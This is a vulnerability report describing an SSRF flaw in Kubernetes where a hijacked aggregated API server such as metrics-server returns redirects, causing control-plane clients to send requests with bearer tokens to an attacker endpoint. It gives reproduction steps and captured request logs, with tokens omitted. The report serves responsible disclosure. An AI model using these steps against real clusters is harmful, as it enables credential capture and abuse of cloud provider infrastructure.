SSRF vulnerability can be exploited when a hijacked aggregated api server such as metrics-server returns 30X

Report Submission Form ## Summary: This report uses metrics-server as example, but it should be applicable to any aggregated api server. When metrics-server is hijacked, either by modifying the container image directly or by running another pods using the same label selector in kube-system namespace, and is returning 30X redirect, the clients calling the metrics api will follow the redirect. It could be a serious issue in managed Kubernetes offerings such as Azure Kubernetes Service (AKS) where clients from managed components may be redirected to call the internal endpoints. Note: my coworker, Nicolas Joly, found the issue and reported my team (AKS) ## Kubernetes Version: all k8s versions on AKS. I believe it's the same in other cloud providers. ## Component Version: n/a ## Steps To Reproduce: * Attached main.go is a very simple redirection api server. I've built the docker image on weinong/go-redirect. * update and deploy `go-redirect.yaml` with your endpoint to capture the redirected traffic in kube-system namespace. It uses the same pod label selector as metrics-server does * you should be able to observe redirected traffic from the control plane components ## Supporting Material/References: Sample output being logged in the web server capturing redirected traffic: ``` 2022/04/16 00:30:13 src IP: 20.51.80.40:4096 GET / HTTP/1.1 Host: 20.85.59.5 Accept: application/json, */* Accept-Encoding: gzip Authorization: Bearer <omitted> User-Agent: azurepolicyaddon/v0.0.0 (linux/amd64) kubernetes/$Format GET / HTTP/1.1 Host: 20.85.59.5 Accept: application/vnd.kubernetes.protobuf, */* Authorization: Bearer <omitted> User-Agent: kube-controller-manager/v1.17.13 (linux/amd64) kubernetes/f4a8e76/system:serviceaccount:kube-system:generic-garbage-collector 2022/04/16 00:34:37 src IP: 20.69.190.88:21504 GET / HTTP/1.1 Host: 20.85.59.5 Accept: application/json, */* Accept-Encoding: gzip Authorization: Bearer <omitted> User-Agent: cpmonitor/v0.0.0 (linux/amd64) kubernetes/$Format ``` * [attachment / reference] ## Impact * Bearer token may be logged in the logging system in those internal backend * Potentially, they may be logged by kube-controller-manager or kubernetes api-server at certain verbose level (not verified) * Redirected traffic may hit external/internal endpoints for spamming which would look originating from the cloud providers